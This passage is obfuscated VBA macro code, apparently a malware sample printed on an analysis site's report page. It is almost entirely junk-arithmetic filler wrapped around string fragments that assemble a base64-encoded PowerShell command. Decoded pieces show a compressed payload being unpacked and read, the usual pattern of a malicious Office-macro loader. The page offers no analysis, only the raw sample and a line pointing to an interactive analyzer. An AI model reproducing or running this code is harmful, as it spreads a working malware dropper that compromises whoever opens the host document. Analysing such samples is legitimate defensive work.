sGTUzrNjEP = "BIAHMAZwAvAGcAc" + "gBoAFQ" + "AUwBwAE" + "IAaw" + "BXAD"
kQjwNPP = zzZRbUfmVKB + lbzRQGRXfjk + DhrNElYZf + OLEKissw + EiZicRs + zinToSFaLv + sGTUzrNjEP
End Function
Function nifDwHm()
On Error Resume Next
wzjZTA = Tan(12864)
NtADQH = SZMMu
QFDUG = CDbl(DiSQL)
pkqJU = vUzzWd
WWNlX = Hex(DlVjt * ChrW(FNzDQv + Int(pmbWiI * Rnd(10108)) * QZLTj * Log(50373 * jhpsu - HiUEzd + Fix(51))))
iwRhB = Tan(87584)
cQruan = "kAdABSAHAA" + "TQBOADUAWQBh" + "ADAARQA" + "2AEwAcwA" + "zAFAAUABLAHMAd" + "QBTAHQAUgB2" + "AE4ARQ" + "BrAEUAdQBKAEwA" + "dAB4AEUAegBvAE"
cvzfdS = Tan(8551)
MKNKGA = PNXAlh
GSkiq = CDbl(RHdRpm)
ohJPbm = SJqmX
AjEKB = Hex(GTohu * ChrW(cOVEhv + Int(UXpiD * Rnd(14239)) * wNpzc * Log(96360 * bpiDS - hfIzA + Fix(51))))
RzYzN = Tan(54260)
HunjbIzvpIJ = "YASAB" + "1AF" + "AARABHAHkAKwB" + "WAE0AV" + "AB5" + "AGIAZQA1AFQAO" + "AB3AHgASgB6AGs"
RCrLAA = Tan(6326)
IsirEw = BYmBOf
oOqioq = CDbl(ZOcVh)
EjiiCP = YmiHvR
zANMNO = Hex(OdUSLN * ChrW(iiBWX + Int(mStEw * Rnd(98642)) * OBjinW * Log(29896 * ZBPHSB - FJPqCk + Fix(51))))
IclXBo = Tan(60314)
jFnCiDID = "AZgBCAD" + "kAeg" + "BqAFYANQBuA" + "GoAbwBPAFcAeg" + "BDAHEARQBp" + "AEkAVQBTAE" + "oAWQBRADUASQB" + "GAGQAQQ" + "BYAG" + "sAUABPAGIAcABZA"
JNOWR = Tan(24844)
mfozbJ = lOFPwM
oIzIXt = CDbl(zPVbw)
rCtvk = MXkBEI
iqWSls = Hex(WUFRO * ChrW(TmoPTW + Int(qljVJf * Rnd(36342)) * MDGsz * Log(83175 * Pawkj - wWzchr + Fix(51))))
ZiUii = Tan(56301)
dCdCRZIoV = "FYAbwBvADAARgB" + "4AFkAagA2" + "AEoAdwA1AFUAZAA" + "5AGcA" + "ZgBWAFUAZgB" + "FAGsATQBs" + "AFUAawBFAFIA"
nifDwHm = cQruan + HunjbIzvpIJ + jFnCiDID + dCdCRZIoV
End Function
Function svzbnK()
On Error Resume Next
sHBJFZ = Tan(35457)
RwYPB = XOTin
uOmtc = CDbl(JbdiXK)
BVIZn = JKlFwD
pECUB = Hex(ubwiVH * ChrW(RPrjia + Int(tAjOp * Rnd(61087)) * dqIJn * Log(79832 * zEYJh - QuErn + Fix(51))))
GMtTF = Tan(43217)
SIsLpmlt = "MQBmAE0A" + "cAAxADQAW" + "ABXAHYAM" + "gBoAHYAUAA1A" + "GsARwBX" + "AFM"
qZoVn = Tan(59769)
vQknU = SXSLSX
Czwvr = CDbl(XZrkXD)
OzkKjl = LczKQW
wiuiB = Hex(UWsasd * ChrW(HwEjN + Int(hTSmHc * Rnd(63531)) * qZwniU * Log(43777 * qwBVV - sHJSF + Fix(51))))
WPYSz = Tan(61633)
YdCwG = "AbgBMAHMA" + "UwA3AHYAbQBXAH" + "oASw" + "A1AGUAeQAvAE4A" + "RQBkAGEAdgBFAH"
ljvnGU = Tan(75681)
wtnNJp = FHfrPP
LdoWHX = CDbl(Bjqwfl)
uIvBin = NWEwjo
QnGRZ = Hex(USwjM * ChrW(CuNwO + Int(DpKwjp * Rnd(62422)) * iwGkaX * Log(66308 * ktkhG - YbKLpS + Fix(51))))
BzZpSj = Tan(98345)
iBHwPnKn = "oATg" + "BxAFI" + "AVQ" + "A2AHoAeg" + "BwAHEAbgBqAG" + "MANQBaAHk"
SDQkzf = Tan(41729)
OIohl = UMjXc
ioYAO = CDbl(dzjuIr)
SSqTzI = CPvCAk
riNIuE = Hex(QdiQWH * ChrW(WfUAz + Int(TrisjP * Rnd(61307)) * TtVAd * Log(82790 * UTlNnA - pLDaB + Fix(51))))
jkbCDl = Tan(62407)
QmskLUJRNio = "AdwBDAFQAY" + "wBOA" + "FoALwBLAFAA" + "WQBFAHE" + "ATwBXADUA" + "OA" + "BaAEMAeABJADIA"
AUZfYU = Tan(95218)
JQsQQC = inKzR
TpIOl = CDbl(iSTzsK)
TzMhOj = FBnik
dYsOto = Hex(whfQR * ChrW(nORpSA + Int(iiMWG * Rnd(90570)) * MzRBa * Log(55884 * DKaFE - vpmUw + Fix(51))))
ctpnM = Tan(39344)
EURzdhqwt = "WgAvADIATwBZADk" + "ATgBK" + "AHUAUwB3AHcAcA" + "BzAC8AdwBzADE" + "AaQBDAGgAeAB"
fwuMVI = Tan(96041)
CzPdp = djErkO
Kpwsaq = CDbl(XXKFh)
zJIwEw = jtpXr
awKlw = Hex(FlVJwT * ChrW(RfzipK + Int(zrUaGm * Rnd(77038)) * PQzYB * Log(39279 * TNmOd - GcAKiJ + Fix(51))))
ahOAMv = Tan(16484)
KdXiwK = "yAEsARgA4AHcAUw" + "BmAE4AcABH" + "AEkASABTA" + "DcAVQB0AD" + "YAZ" + "gBYADIAMQB5AD" + "MAdgBZAHE" + "AbABTAE" + "YASA" + "BGAFAAcAB2AEQAS"
ijiJnw = Tan(41892)
JZSaC = lsbjT
OTQbcJ = CDbl(iCzMFL)
pdHEqf = YrkLjc
vVZfb = Hex(VLTCj * ChrW(OnBKNM + Int(WWIkW * Rnd(82303)) * FqcfPt * Log(63189 * mjZjd - KdJEYL + Fix(51))))
zWjWw = Tan(39469)
SfsqdwC = "AA" + "4AGg" + "AYwBNAFMARQBzA" + "DEAZABXA"
snlDo = Tan(75686)
iiomm = vAVkhi
Lswjz = CDbl(XIUvJR)
aZwvW = qijuVR
OVwAwp = Hex(AuApE * ChrW(KPDKn + Int(VNWVCZ * Rnd(26000)) * smfzcO * Log(23264 * CLTwT - ZjZJq + Fix(51))))
hafWH = Tan(82224)
miNKTsqzJCS = "HAAMQBkAHQA" + "aABaADgAdwBNAF" + "MAbQ" + "B0AHgASABqAFIAS" + "ABrACsAZAArADM" + "ASAA1AG" + "8AdABjADMAOAB" + "YAEMAWQB"
Yszubj = Tan(405)
NPDMq = tNrqpL
oqwsj = CDbl(HRGJqm)
nYCRs = TdLRW
AYnMnf = Hex(fbkCD * ChrW(snsGH + Int(NaXFV * Rnd(22638)) * wZrrcY * Log(49800 * iXUETd - GrDVw + Fix(51))))
AcbXE = Tan(22174)
AJjuif = "xAFMAYgBhA" + "GsAbABnAF" + "oAcwBZAG0AOAB6" + "ADYANQ" + "BMAGUAcgBDAEwAT" + "AA5AHYAWA" + "B4AHMATwB" + "zAFEAVQAvAE4A" + "MwB1"
svzbnK = SIsLpmlt + YdCwG + iBHwPnKn + QmskLUJRNio + EURzdhqwt + KdXiwK + SfsqdwC + miNKTsqzJCS + AJjuif
End Function
Function LJPmoZGA()
On Error Resume Next
WdTRB = Tan(26370)
snjHdd = JPYBo
oUfCzN = CDbl(wzQTY)
QZFEC = FzfSI
sUIqMC = Hex(QjUCz * ChrW(RnCiu + Int(PjPNj * Rnd(6931)) * WziiJ * Log(3041 * GHsBH - NzIdwX + Fix(51))))
nkQCP = Tan(70917)
BkjzT = "AEcAd" + "wA9AD0AJwApA" + "CwAW" + "wBTAF" + "kAcwB" + "UAEUAbQ" + "AuAEkAbwAuA" + "EMA" + "bwBNAF"
sMcHbn = Tan(1118)
YhEKAZ = KuAaJ
RamQJ = CDbl(XlhjPY)
fuilZ = khZbY
WidZVB = Hex(bmalqq * ChrW(rcuqB + Int(muuPjI * Rnd(51802)) * YbszN * Log(60064 * MuMMib - UEInvH + Fix(51))))
ImiZjz = Tan(54321)
NtQCZj = "AAUgBFAFMAcwBp" + "AG8ATg" + "AuAEMAb" + "wBNAFAAcgB"
OsMaiD = Tan(19985)
mcLffi = iWOpap
sNTdQ = CDbl(JZijKY)
TzEstJ = WKkcz
EEDVJ = Hex(wIAwH * ChrW(mVYMw + Int(UGDPiS * Rnd(41524)) * QSjhdq * Log(61329 * lFVJWI - WTAwnG + Fix(51))))
wKMEIq = Tan(43093)
PHwNRbV = "FAF" + "MAcwBpAE8" + "ATgBNAG8A" + "ZAB" + "FAF0AO" + "gA" + "6AEQARQBjAE8" + "AbQBw"
ZlzNlf = Tan(48832)
VQZwk = qpILj
viVioc = CDbl(YVYip)
wfkJI = uzAff
KEfTW = Hex(zKptvP * ChrW(YILAz + Int(ikcnnF * Rnd(61902)) * nljvwp * Log(39529 * XpFwcl - iDkUsj + Fix(51))))
jwDiz = Tan(56523)
TkzYOwrvd = "AFIAZQBTAFMAKQB" + "8ACAAZg" + "BvAHIAZQBhAGMA" + "SAB7ACAAb" + "gB" + "lA" + "HcALQBPAEIA" + "SgBlAGMAVAAg" + "ACAAaQBPAC4Acw" + "B0"
QrNqwJ = Tan(47781)
zwZwu = VvwUzG
kCkoPY = CDbl(mrQsr)
HzrHfb = YFovv
dNBFOz = Hex(kjpdC * ChrW(lWTGjh + Int(wdYEq * Rnd(79473)) * AZfNp * Log(86262 * uplmCt - MbIOF + Fix(51))))
qjEwIO = Tan(80193)
qwXPSt = "AHIARQBBAE0AUg" + "BlAEEAZ" + "ABFAHIAKAAgAC" + "QAXwAgACwAIA" + "BbAFMAW" + "QBTAHQAZQBt"
zpwOYc = Tan(44048)
AbnJG = hhUinl
CPqlrj = CDbl(UjFbD)
uAoYdQ = Bahavr
CXiiaD = Hex(zZGch * ChrW(FpUVLG + Int(vhtvA * Rnd(43785)) * kciPqA * Log(63086 * zCbBz - zaiwvU + Fix(51))))
MGLPoT = Tan(6763)
uQjVj = "AC4A" + "VABlAFgA" + "VAAuAGUAT" + "gBjAG8ARA" + "BJAG4ARwBdADo"
didDO = Tan(40818)
qrlhP = rSuKHu
GLzECz = CDbl(WXzBj)
uTTzzk = ckqKO
AUoRF = Hex(YEOSiY * ChrW(RzwSr + Int(AmwXww * Rnd(24530)) * mVVUp * Log(81556 * zDiGuT - YfBkZ + Fix(51))))
SKiRzZ = Tan(26546)
JLzuZTXQU = "AOgBBAFMAQ" + "wBpAGkAIA" + "ApAH0AIAA" + "pA" + "C4AcgBFAGEAZABU" + "AG8AZQB" + "OAEQAKA"
EwpUs = Tan(20273)
jtwtiC = uQMwQ
ORWOXQ = CDbl(brEUP)
jsGslC = WplCq
twQNED = Hex(VDmaa * ChrW(cGKrod + Int(FWbnXb * Rnd(89347)) * WYfTX * Log(62103 * FKdzR - HcGfR + Fix(51))))
ZCLzwZ = Tan(24926)
oBWGDRzpB = "ApACAA"
LJPmoZGA = BkjzT + NtQCZj + PHwNRbV + TkzYOwrvd + qwXPSt + uQjVj + JLzuZTXQU + oBWGDRzpB
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.